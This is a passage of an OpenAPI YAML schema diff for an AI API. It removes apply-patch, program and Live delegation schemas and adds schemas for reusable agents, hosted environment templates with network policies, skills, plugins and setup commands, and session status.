- description: One of the create_file, delete_file, or update_file operations supplied to the apply_patch tool.
- anyOf:
- - $ref: '#/components/schemas/ApplyPatchCreateFileOperationParam'
- - $ref: '#/components/schemas/ApplyPatchDeleteFileOperationParam'
- - $ref: '#/components/schemas/ApplyPatchUpdateFileOperationParam'
- ApplyPatchToolCallItemParam:
properties:
- type:
+ model:
type: string
- enum:
- - apply_patch_call
- description: The type of the item. Always `apply_patch_call`.
- default: apply_patch_call
- x-stainless-const: true
- id:
+ minLength: 0
+ maxLength: 1048576
+ description: The model to use for the agent. The requested model name is preserved.
+ reasoning:
anyOf:
- - type: string
- description: The unique ID of the apply patch tool call. Populated when this item is returned via API.
- example: apc_123
+ - $ref: '#/components/schemas/ReasoningParam'
- type: 'null'
- call_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the apply patch tool call generated by the model.
- caller:
+ description: Configuration for model reasoning. Omit to keep the current settings; pass `null` to reset to the model's default effort.
+ text:
anyOf:
- - $ref: '#/components/schemas/ToolCallCallerParam'
- description: The execution context that produced this tool call.
+ - $ref: '#/components/schemas/TextParam'
- type: 'null'
- status:
- $ref: '#/components/schemas/ApplyPatchCallStatusParam'
- description: The status of the apply patch tool call. One of `in_progress` or `completed`.
- operation:
- $ref: '#/components/schemas/ApplyPatchOperationParam'
- description: The specific create, delete, or update instruction for the apply_patch tool call.
+ description: Configuration for text generated by the agent.
+ service_tier:
+ anyOf:
+ - $ref: '#/components/schemas/ServiceTierParam'
+ - type: 'null'
+ description: The service tier used for model requests.
+ instructions:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: Additional instructions appended to the agent's default base instructions. Omit to leave unchanged.
+ multi_agent:
+ anyOf:
+ - $ref: '#/components/schemas/MultiAgentConfigCurrentParam'
+ - type: 'null'
+ description: Configuration for creating and coordinating subagents.
+ metadata:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 512
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 64
+ minProperties: 0
+ maxProperties: 16
+ description: Replaces all metadata. Omit to leave unchanged, or pass null or {} to clear it. Up to 16 string key-value pairs, with keys up to 64 and values up to 512 characters.
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 128
+ description: A replacement name. Omit to leave unchanged, or pass null to clear it.
+ tools:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/PersistedAgentToolConfigParam'
+ minItems: 0
+ maxItems: 2000
+ description: Tools available to the agent.
+ additionalProperties: false
+ description: Fields to replace on an existing reusable agent.
+ DeletedAgentResource:
type: object
+ properties:
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the deleted agent.
+ object:
+ type: string
+ enum:
+ - agent.deleted
+ default: agent.deleted
+ x-stainless-const: true
+ description: The object type. Always `agent.deleted`.
+ deleted:
+ type: boolean
+ description: Whether the agent was deleted. Always `true`.
required:
- - type
- - call_id
- - status
- - operation
- title: Apply patch tool call
- description: A tool call representing a request to create, delete, or update files using diff patches.
- ApplyPatchCallOutputStatusParam:
+ - id
+ - object
+ - deleted
+ additionalProperties: false
+ description: A deleted reusable agent.
+ EnvironmentPackagesResource:
+ type: object
+ properties:
+ python:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Python packages installed in the environment.
+ system:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: System packages installed in the environment.
+ npm:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: npm packages installed globally in the environment.
+ required:
+ - python
+ - system
+ - npm
+ additionalProperties: false
+ description: Packages installed in an OpenAI-hosted environment.
+ NetworkAccessResource:
type: string
enum:
- - completed
- - failed
- title: Apply patch call output status
- description: Outcome values reported for apply_patch tool call outputs.
- ApplyPatchToolCallOutputItemParam:
+ - enabled
+ - disabled
+ - restricted
+ x-enumDescriptions:
+ - Allows unrestricted network access.
+ - Disables network access.
+ - Allows access only to configured domains.
+ description: The network access mode for an OpenAI-hosted environment.
+ NetworkPolicyResource:
+ type: object
+ properties:
+ access:
+ $ref: '#/components/schemas/NetworkAccessResource'
+ description: The environment's network access mode.
+ allowed_domains:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Domains the environment may access when network access is restricted.
+ required:
+ - access
+ - allowed_domains
+ additionalProperties: false
+ description: Network access for an OpenAI-hosted environment.
+ HostedTemplateSkillResourceSkillReference:
+ type: object
properties:
type:
type: string
enum:
- - apply_patch_call_output
- description: The type of the item. Always `apply_patch_call_output`.
- default: apply_patch_call_output
+ - skill_reference
+ default: skill_reference
x-stainless-const: true
- id:
- anyOf:
- - type: string
- description: The unique ID of the apply patch tool call output. Populated when this item is returned via API.
- example: apco_123
- - type: 'null'
- call_id:
+ description: The type of the object. Always `skill_reference`.
+ skill_id:
type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the apply patch tool call generated by the model.
- caller:
- anyOf:
- - $ref: '#/components/schemas/ToolCallCallerParam'
- description: The execution context that produced this tool call.
- - type: 'null'
- status:
- $ref: '#/components/schemas/ApplyPatchCallOutputStatusParam'
- description: The status of the apply patch tool call output. One of `completed` or `failed`.
- output:
- anyOf:
- - type: string
- maxLength: 10485760
- description: Optional human-readable log text from the apply patch tool (e.g., patch results or errors).
- - type: 'null'
- type: object
+ minLength: 0
+ description: The referenced skill ID.
+ version:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The requested version selector, including `latest`.
required:
- type
- - call_id
- - status
- title: Apply patch tool call output
- description: The streamed output emitted by an apply patch tool call.
- CompactionTriggerItemParam:
+ - skill_id
+ - version
+ additionalProperties: false
+ description: A skill resolved afresh from the Skills API whenever a session starts.
+ HostedTemplateSkillResourceInline:
+ type: object
properties:
type:
type: string
enum:
- - compaction_trigger
- description: The type of the item. Always `compaction_trigger`.
- default: compaction_trigger
+ - inline
+ default: inline
x-stainless-const: true
- type: object
+ description: The type of the object. Always `inline`.
+ name:
+ type: string
+ minLength: 0
+ description: The skill name declared in `SKILL.md`.
+ description:
+ type: string
+ minLength: 0
+ description: The skill description declared in `SKILL.md`.
required:
- type
- title: Compaction trigger
- description: Compacts the current context. Must be the final input item.
- ItemReferenceParam:
- properties:
- type:
- anyOf:
- - type: string
- enum:
- - item_reference
- description: The type of item to reference. Always `item_reference`.
- default: item_reference
- x-stainless-const: true
- - type: 'null'
- id:
- type: string
- description: The ID of the item to reference.
+ - name
+ - description
+ additionalProperties: false
+ description: Safe metadata for an inline skill archive.
+ HostedTemplateSkillResource:
+ description: Safe metadata for a skill configured by an environment template.
+ discriminator:
+ propertyName: type
+ mapping:
+ skill_reference: '#/components/schemas/HostedTemplateSkillResourceSkillReference'
+ inline: '#/components/schemas/HostedTemplateSkillResourceInline'
+ x-oai-discriminator-values:
+ - skill_reference
+ - inline
+ anyOf:
+ - $ref: '#/components/schemas/HostedTemplateSkillResourceSkillReference'
+ - $ref: '#/components/schemas/HostedTemplateSkillResourceInline'
+ HostedTemplateFileResourceFileId:
type: object
- required:
- - id
- title: Item reference
- description: An internal identifier for an item to reference.
- ProgramItemParam:
properties:
- id:
- type: string
- description: The unique ID of this program item.
- example: cm_123
type:
type: string
enum:
- - program
- description: The item type. Always `program`.
- default: program
+ - file_id
+ default: file_id
x-stainless-const: true
- call_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The stable call ID of the program item.
- code:
+ description: The type of the object. Always `file_id`.
+ file_id:
type: string
- maxLength: 10485760
- description: The JavaScript source executed by programmatic tool calling.
- fingerprint:
+ minLength: 0
+ description: The ID of the uploaded file.
+ path:
type: string
- maxLength: 10485760
- description: Opaque program replay fingerprint that must be round-tripped.
- type: object
+ minLength: 0
+ description: The file's absolute path inside the environment.
required:
- - id
- type
- - call_id
- - code
- - fingerprint
- ProgramOutputItemStatus:
- type: string
- enum:
- - completed
- - incomplete
- ProgramOutputItemParam:
+ - file_id
+ - path
+ additionalProperties: false
+ description: A project-scoped Files API reference resolved separately for each session.
+ HostedTemplateFileResourceInline:
+ type: object
properties:
- id:
- type: string
- description: The unique ID of this program output item.
- example: cmo_123
type:
type: string
enum:
- - program_output
- description: The item type. Always `program_output`.
- default: program_output
+ - inline
+ default: inline
x-stainless-const: true
- call_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The call ID of the program item.
- result:
+ description: The type of the object. Always `inline`.
+ path:
type: string
- maxLength: 10485760
- description: The result produced by the program item.
- status:
- $ref: '#/components/schemas/ProgramOutputItemStatus'
- description: The terminal status of the program output.
- type: object
+ minLength: 0
+ description: The file's absolute path inside the environment.
+ size_bytes:
+ type: integer
+ format: int64
+ minimum: 0
+ description: The decoded size of the inline file in bytes.
required:
- - id
- type
- - call_id
- - result
- - status
- ConversationResource:
+ - path
+ - size_bytes
+ additionalProperties: false
+ description: Metadata for confidential inline file contents.
+ HostedTemplateFileResource:
+ description: Safe metadata for a file configured by an environment template.
+ discriminator:
+ propertyName: type
+ mapping:
+ file_id: '#/components/schemas/HostedTemplateFileResourceFileId'
+ inline: '#/components/schemas/HostedTemplateFileResourceInline'
+ x-oai-discriminator-values:
+ - file_id
+ - inline
+ anyOf:
+ - $ref: '#/components/schemas/HostedTemplateFileResourceFileId'
+ - $ref: '#/components/schemas/HostedTemplateFileResourceInline'
+ EnvironmentTemplateResource:
+ type: object
properties:
id:
type: string
- description: The unique ID of the conversation.
+ minLength: 0
+ description: The ID of the reusable environment template.
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: An optional human-readable display name for the template.
object:
type: string
enum:
- - conversation
- description: The object type, which is always `conversation`.
- default: conversation
+ - agent.environment.template
+ default: agent.environment.template
x-stainless-const: true
- metadata:
- description: |-
- Set of 16 key-value pairs that can be attached to an object. This can be useful for storing additional information about the object in a structured format, and querying for objects via API or the dashboard.
- Keys are strings with a maximum length of 64 characters. Values are strings with a maximum length of 512 characters.
+ description: The object type. Always `agent.environment.template`.
created_at:
type: integer
- format: unixtime
- description: The time at which the conversation was created, measured in seconds since the Unix epoch.
- type: object
+ format: int64
+ description: The Unix timestamp, in seconds, when the template was created.
+ updated_at:
+ type: integer
+ format: int64
+ description: The Unix timestamp, in seconds, when the template was last updated.
+ packages:
+ $ref: '#/components/schemas/EnvironmentPackagesResource'
+ description: Packages installed in each fresh OpenAI-hosted environment.
+ network:
+ $ref: '#/components/schemas/NetworkPolicyResource'
+ description: Runtime network access for each OpenAI-hosted environment.
+ capability_directories:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: Directories that expose capabilities to the agent.
+ skills:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedTemplateSkillResource'
+ minItems: 0
+ maxItems: 200
+ description: Safe skill metadata, preserving unresolved version selectors.
+ plugins:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedPluginResource'
+ minItems: 0
+ maxItems: 32
+ description: Safe plugin metadata, excluding inline archive contents.
+ files:
+ type: array
+ items:
+ $ref: '#/components/schemas/HostedTemplateFileResource'
+ minItems: 0
+ maxItems: 50
+ description: Safe file metadata, excluding contents and session-scoped file IDs.
required:
- id
+ - name
- object
- - metadata
- created_at
- _MisalignmentErrorType:
- anyOf:
- - type: string
- - type: string
- enum:
- - potentially_unintended_data_transfer
- - potentially_unintended_data_access
- - potentially_unintended_destructive_activity
- - other
- _MisalignmentSteer:
- properties:
- message:
- type: string
- description: The public continuation instruction.
- type: object
- required:
- - message
- MisalignmentErrorDetailsResource:
- properties:
- error_type:
- $ref: '#/components/schemas/_MisalignmentErrorType'
- description: An optional classification; clients must accept additional values.
- detailed_explanation:
- type: string
- description: The public explanation for this block.
- steer:
- $ref: '#/components/schemas/_MisalignmentSteer'
- description: An optional public continuation instruction.
- type: object
- required: []
- ImageGenOutputTokensDetails:
- properties:
- image_tokens:
- type: integer
- description: The number of image output tokens generated by the model.
- text_tokens:
- type: integer
- description: The number of text output tokens generated by the model.
- type: object
- required:
- - image_tokens
- - text_tokens
- title: Image generation output token details
- description: The output token details for the image generation.
- ImageGenInputUsageDetails:
- properties:
- text_tokens:
- type: integer
- description: The number of text tokens in the input prompt.
- image_tokens:
- type: integer
- description: The number of image tokens in the input prompt.
- type: object
- required:
- - text_tokens
- - image_tokens
- title: Input usage details
- description: The input tokens detailed information for the image generation.
- ImageGenUsage:
- properties:
- input_tokens:
- type: integer
- description: The number of tokens (images and text) in the input prompt.
- total_tokens:
- type: integer
- description: The total number of tokens (images and text) used for the image generation.
- output_tokens:
- type: integer
- description: The number of output tokens generated by the model.
- output_tokens_details:
- $ref: '#/components/schemas/ImageGenOutputTokensDetails'
- input_tokens_details:
- $ref: '#/components/schemas/ImageGenInputUsageDetails'
- type: object
- required:
- - input_tokens
- - total_tokens
- - output_tokens
- - input_tokens_details
- title: Image generation usage
- description: For `gpt-image-1` only, the token usage information for the image generation.
- instructions:
- anyOf:
- - description: Frontend instructions for voice, conversation, interruptions, and when to delegate. Start with the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting); put business rules and tool workflows in a separate [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt). Limited to 16,384 client-supplied tokens. Omitted or blank instructions use server defaults. Immutable after startup.
- type: string
- - type: 'null'
- LiveCustomVoiceParam:
- type: object
- properties:
- id:
- type: string
- minLength: 1
- maxLength: 128
- required:
- - id
- LiveInitialSessionAudioOutputParam:
- description: Settings for speech generated by the Live model. Choose the voice before starting the session.
- type: object
- properties:
- voice:
- description: The voice used for Live speech, as a built-in voice name or a custom voice object containing its ID. Defaults to `marin` and cannot change after startup.
- anyOf:
- - anyOf:
- - type: string
- - $ref: '#/components/schemas/LiveBuiltInVoice'
- - $ref: '#/components/schemas/LiveCustomVoiceParam'
- required: []
- LiveClientDelegationParam:
- description: Delegate tasks to your application. The Live session emits delegation events that your backend handles.
+ - updated_at
+ - packages
+ - network
+ - capability_directories
+ - skills
+ - plugins
+ - files
+ additionalProperties: false
+ description: Reusable configuration that provisions a fresh OpenAI-hosted environment for each session.
+ EnvironmentTemplateListResource:
type: object
properties:
- type:
- description: The delegation owner. Always `client` for tasks handled by your application.
- default: client
- x-stainless-const: true
+ object:
type: string
enum:
- - client
+ - list
+ default: list
+ x-stainless-const: true
+ description: The object type, which is always `list`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/EnvironmentTemplateResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
+ type: boolean
+ description: Whether there are more resources to retrieve after this page.
required:
- - type
- LiveResponsesServiceTier:
- type: string
- enum:
- - auto
- - default
- - fast_tier_temp_pilot
- - flex
- - priority
- - ultrafast
- LiveReasoningEffort:
- type: string
- enum:
- - none
- - minimal
- - low
- - medium
- - high
- - xhigh
- LiveReasoningSummary:
- type: string
- enum:
- - concise
- - detailed
- - auto
- LiveDelegationReasoningInputParam:
- description: Reasoning options for Responses requests made on behalf of the Live session.
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of Agents API resources, with IDs for retrieving additional pages.
+ EnvironmentPackagesParam:
type: object
properties:
- effort:
- anyOf:
- - description: How much reasoning effort the delegated Responses model should use. Supported values depend on the backend model.
- $ref: '#/components/schemas/LiveReasoningEffort'
- - type: 'null'
- summary:
- anyOf:
- - description: The reasoning summary to request from the delegated Responses model, when supported.
- $ref: '#/components/schemas/LiveReasoningSummary'
- - type: 'null'
- required: []
- LiveTextVerbosity:
- type: string
- enum:
- - low
- - medium
- - high
- LiveDelegationTextInputParam:
- description: Text generation options for the Live session’s Responses backend.
+ python:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Python packages to install. Defaults to an empty list.
+ system:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: System packages to install. Defaults to an empty list.
+ npm:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: npm packages to install globally. Defaults to an empty list.
+ additionalProperties: false
+ description: Packages to install in an OpenAI-hosted environment.
+ SetupCommandParam:
type: object
properties:
- verbosity:
- anyOf:
- - description: The amount of detail in text generated by the Responses backend. This does not configure the Live model’s spoken delivery.
- $ref: '#/components/schemas/LiveTextVerbosity'
- - type: 'null'
- required: []
- LiveFunctionToolInputParam:
- description: A function tool available to the Responses backend when the Live model delegates a task.
+ command:
+ type: string
+ minLength: 0
+ maxLength: 65536
+ description: The shell command to execute.
+ cwd:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 4096
+ description: The absolute working directory. Defaults to `/workspace`.
+ required:
+ - command
+ additionalProperties: false
+ description: A confidential setup command executed before the hosted agent starts.
+ NetworkAccessParam:
+ type: string
+ enum:
+ - enabled
+ - disabled
+ - restricted
+ x-enumDescriptions:
+ - Allows unrestricted network access, matching an omitted network policy.
+ - Disables network access.
+ - Allows access only to configured domains.
+ description: The network access mode for an OpenAI-hosted environment.
+ NetworkPolicyParam:
+ type: object
+ properties:
+ access:
+ $ref: '#/components/schemas/NetworkAccessParam'
+ description: The environment's network access mode.
+ allowed_domains:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Domains the environment may access when network access is restricted.
+ required:
+ - access
+ additionalProperties: false
+ description: Network access for an OpenAI-hosted environment.
+ HostedSkillParamSkillReference:
type: object
properties:
type:
- description: The tool type. Always `function`.
- default: function
- x-stainless-const: true
type: string
enum:
- - function
- name:
- description: The name the delegated Responses model uses when calling this function.
+ - skill_reference
+ default: skill_reference
+ x-stainless-const: true
+ description: The type of the object. Always `skill_reference`.
+ skill_id:
type: string
- description:
- anyOf:
- - description: What the function does and when the delegated Responses model should call it.
- type: string
- - type: 'null'
- parameters:
- anyOf:
- - description: A JSON Schema object describing the arguments accepted by the function.
- type: object
- additionalProperties: {}
- - type: 'null'
- strict:
- anyOf:
- - description: Whether the delegated Responses model must follow the function’s parameter schema exactly.
- type: boolean
- - type: 'null'
+ minLength: 1
+ maxLength: 64
+ description: The ID of the skill created through `/v1/skills`.
+ version:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: The skill version, a positive integer or `latest`; omission selects the default.
required:
- type
- - name
- LiveWebSearchToolInputParam:
- description: A web search tool available to the Live session’s Responses backend.
+ - skill_id
+ additionalProperties: false
+ description: References a skill uploaded through the Skills API.
+ InlineCapabilitySourceParamBase64:
type: object
properties:
type:
- description: The tool type. Always `web_search`.
- default: web_search
+ type: string
+ enum:
+ - base64
+ default: base64
x-stainless-const: true
+ description: The type of the object. Always `base64`.
+ media_type:
type: string
enum:
- - web_search
+ - application/zip
+ default: application/zip
+ x-stainless-const: true
+ x-enumDescriptions:
+ - A ZIP archive.
+ description: The archive media type, always `application/zip`.
+ data:
+ type: string
+ minLength: 1
+ maxLength: 70254592
+ description: Standard-base64 encoded ZIP archive bytes.
required:
- type
- LiveToolChoiceEnum:
- type: string
- enum:
- - auto
- - none
- - required
- LiveFunctionToolChoiceParam:
+ - media_type
+ - data
+ additionalProperties: false
+ description: Provides ZIP bytes encoded with standard base64.
+ InlineCapabilitySourceParam:
+ description: The encoded ZIP archive for an inline skill or plugin.
+ discriminator:
+ propertyName: type
+ mapping:
+ base64: '#/components/schemas/InlineCapabilitySourceParamBase64'
+ x-oai-discriminator-values:
+ - base64
+ anyOf:
+ - $ref: '#/components/schemas/InlineCapabilitySourceParamBase64'
+ HostedSkillParamInline:
type: object
properties:
type:
- default: function
- x-stainless-const: true
type: string
enum:
- - function
+ - inline
+ default: inline
+ x-stainless-const: true
+ description: The type of the object. Always `inline`.
name:
type: string
minLength: 1
maxLength: 64
- pattern: ^[a-zA-Z0-9_-]+$
+ description: The skill name declared in `SKILL.md`.
+ description:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The skill description declared in `SKILL.md`.
+ source:
+ $ref: '#/components/schemas/InlineCapabilitySourceParam'
+ description: The inline ZIP archive.
required:
- type
- name
- LiveMCPToolChoiceParam:
+ - description
+ - source
+ additionalProperties: false
+ description: Supplies a skill ZIP directly in the session request.
+ HostedSkillParam:
+ description: A skill installed in an OpenAI-hosted environment.
+ discriminator:
+ propertyName: type
+ mapping:
+ skill_reference: '#/components/schemas/HostedSkillParamSkillReference'
+ inline: '#/components/schemas/HostedSkillParamInline'
+ x-oai-discriminator-values:
+ - skill_reference
+ - inline
+ anyOf:
+ - $ref: '#/components/schemas/HostedSkillParamSkillReference'
+ - $ref: '#/components/schemas/HostedSkillParamInline'
+ HostedPluginParamInline:
type: object
properties:
type:
- default: mcp
- x-stainless-const: true
type: string
enum:
- - mcp
- server_label:
- type: string
- minLength: 1
- maxLength: 64
- pattern: ^[a-zA-Z0-9_-]+$
+ - inline
+ default: inline
+ x-stainless-const: true
+ description: The type of the object. Always `inline`.
name:
type: string
minLength: 1
maxLength: 64
- pattern: ^[a-zA-Z0-9_-]+$
+ description: The plugin name declared in `.codex-plugin/plugin.json`.
+ description:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The plugin description declared in `.codex-plugin/plugin.json`.
+ source:
+ $ref: '#/components/schemas/InlineCapabilitySourceParam'
+ description: The inline ZIP archive.
required:
- type
- - server_label
- name
- LiveResponsesDelegationSettingsInputParam:
- description: Model, prompt, and tool settings for tasks delegated by the Live session to a Responses backend.
+ - description
+ - source
+ additionalProperties: false
+ description: Supplies a plugin ZIP directly in the session request.
+ HostedPluginParam:
+ description: A plugin installed in an OpenAI-hosted environment.
+ discriminator:
+ propertyName: type
+ mapping:
+ inline: '#/components/schemas/HostedPluginParamInline'
+ x-oai-discriminator-values:
+ - inline
+ anyOf:
+ - $ref: '#/components/schemas/HostedPluginParamInline'
+ CreateEnvironmentTemplateParams:
type: object
properties:
- model:
- description: The model used for server-owned Responses delegations.
- type: string
- instructions:
- anyOf:
- - description: Instructions for the delegated Responses model, separate from Live instructions. See [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
- type: string
- - type: 'null'
- max_output_tokens:
- anyOf:
- - description: Maximum number of output tokens for each delegated response.
- type: integer
- minimum: 16
- - type: 'null'
- service_tier:
+ packages:
anyOf:
- - description: Service tier for delegated Responses requests.
- $ref: '#/components/schemas/LiveResponsesServiceTier'
+ - $ref: '#/components/schemas/EnvironmentPackagesParam'
- type: 'null'
- reasoning:
+ description: Packages to install in the environment. Defaults to empty package lists.
+ setup_commands:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/SetupCommandParam'
+ minItems: 0
+ maxItems: 16
+ description: Ordered, confidential setup commands. Command bodies are never returned.
+ network:
anyOf:
- - description: Reasoning settings passed to each delegated Responses request.
- $ref: '#/components/schemas/LiveDelegationReasoningInputParam'
+ - $ref: '#/components/schemas/NetworkPolicyParam'
- type: 'null'
- text:
+ description: Network access policy for the environment. Defaults to enabled.
+ env:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Environment variables made available to the agent.
+ capability_directories:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Directories that contain capabilities exposed to the agent. Defaults to an empty list.
+ skills:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedSkillParam'
+ minItems: 0
+ maxItems: 200
+ description: Skills referenced by ID or provided as inline ZIP archives. Defaults to an empty list.
+ plugins:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedPluginParam'
+ minItems: 0
+ maxItems: 32
+ description: Plugins provided as inline ZIP archives. Defaults to an empty list.
+ files:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedEnvironmentFileParam'
+ minItems: 0
+ maxItems: 50
+ description: Files available before the agent starts. Defaults to an empty list.
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 1
+ maxLength: 256
+ description: An optional human-readable display name for the template.
+ additionalProperties: false
+ description: Parameters for creating a reusable, project-scoped OpenAI-hosted environment template.
+ UpdateEnvironmentTemplateParams:
+ type: object
+ properties:
+ name:
+ type:
+ - string
+ - 'null'
+ minLength: 1
+ maxLength: 256
+ description: A replacement human-readable display name, or `null` to clear the name.
+ packages:
anyOf:
- - description: Text generation settings passed to each delegated Responses request.
- $ref: '#/components/schemas/LiveDelegationTextInputParam'
+ - $ref: '#/components/schemas/EnvironmentPackagesParam'
- type: 'null'
- tools:
- description: Tools available to the Responses backend while it handles tasks delegated by the Live model.
- type: array
+ description: Packages installed before the runtime network policy applies.
+ setup_commands:
+ type:
+ - array
+ - 'null'
items:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/LiveFunctionToolInputParam'
- - $ref: '#/components/schemas/LiveWebSearchToolInputParam'
- tool_choice:
- description: Controls which tool the Responses backend uses when handling a task delegated by the Live model.
- anyOf:
- - $ref: '#/components/schemas/LiveToolChoiceEnum'
- - $ref: '#/components/schemas/LiveFunctionToolChoiceParam'
- - $ref: '#/components/schemas/LiveMCPToolChoiceParam'
- parallel_tool_calls:
+ $ref: '#/components/schemas/SetupCommandParam'
+ minItems: 0
+ maxItems: 16
+ description: Replacement confidential setup commands, never included in returned resources.
+ network:
anyOf:
- - description: Whether the delegated Responses model may request multiple tool calls in a single response.
- type: boolean
+ - $ref: '#/components/schemas/NetworkPolicyParam'
- type: 'null'
+ description: Network access available after setup completes.
+ env:
+ type:
+ - object
+ - 'null'
+ additionalProperties:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ propertyNames:
+ type: string
+ minLength: 1
+ maxLength: 256
+ minProperties: 0
+ maxProperties: 1024
+ description: Replacement confidential environment values.
+ capability_directories:
+ type:
+ - array
+ - 'null'
+ items:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ minItems: 0
+ maxItems: 16384
+ description: Directories that expose capabilities to the agent.
+ skills:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedSkillParam'
+ minItems: 0
+ maxItems: 200
+ description: Replacement skill configuration installed for each new session.
+ plugins:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedPluginParam'
+ minItems: 0
+ maxItems: 32
+ description: Replacement plugin configuration installed for each new session.
+ files:
+ type:
+ - array
+ - 'null'
+ items:
+ $ref: '#/components/schemas/HostedEnvironmentFileParam'
+ minItems: 0
+ maxItems: 50
+ description: Replacement file configuration materialized for each new session.
+ additionalProperties: false
+ description: Fields to replace on an existing reusable OpenAI-hosted environment template.
+ DeletedEnvironmentTemplateResource:
+ type: object
+ properties:
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the deleted environment template.
+ object:
+ type: string
+ enum:
+ - agent.environment.template.deleted
+ default: agent.environment.template.deleted
+ x-stainless-const: true
+ description: The object type. Always `agent.environment.template.deleted`.
+ deleted:
+ type: boolean
+ description: Whether the environment template was deleted. Always `true`.
required:
- - model
- LiveResponsesDelegationParam:
- description: Delegate tasks to a Responses model managed by the Live session.
+ - id
+ - object
+ - deleted
+ additionalProperties: false
+ description: A deleted reusable environment template.
+ SessionStatusResource:
+ type: string
+ enum:
+ - idle
+ - in_progress
+ - requires_action
+ - failed
+ x-enumDescriptions:
+ - The session has no turn in progress and is ready for input. A hosted environment may still be provisioning.
+ - The session is processing a turn.
+ - The session is waiting for one or more required actions.
+ - The session failed.
+ description: The current status of a session.
+ SessionRequiredActionResourceFunctionCall:
type: object
properties:
type:
- description: The delegation owner. Always `responses` for tasks handled by the Responses API.
- default: responses
+ type: string
+ enum:
+ - function_call
+ default: function_call
x-stainless-const: true
+ description: The type of the object. Always `function_call`.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that requested the function call.
+ call_id:
+ type: string
+ minLength: 0
+ description: The ID to include when submitting the function result.
+ name:
+ type: string
+ minLength: 0
+ description: The function name.
+ arguments:
+ description: The arguments supplied by the model.
+ required:
+ - type
+ - turn_id
+ - call_id
+ - name
+ - arguments
+ additionalProperties: false
+ description: Run a function tool and submit its result.
+ SessionRequiredActionResourceEnvironmentConnection:
+ type: object
+ properties:
+ type:
type: string
enum:
- - responses
- responses:
- description: Backend model, prompt, and tools used when the Live session delegates a task to Responses.
- $ref: '#/components/schemas/LiveResponsesDelegationSettingsInputParam'
+ - environment_connection
+ default: environment_connection
+ x-stainless-const: true
+ description: The type of the object. Always `environment_connection`.
+ environment_id:
+ type: string
+ minLength: 0
+ description: The ID of the environment to reconnect.
required:
- type
- - responses
- delegation:
+ - environment_id
+ additionalProperties: false
+ description: Reconnect a session environment.
+ SessionRequiredActionResource:
+ description: An action that must be completed before a session can continue.
+ discriminator:
+ propertyName: type
+ mapping:
+ function_call: '#/components/schemas/SessionRequiredActionResourceFunctionCall'
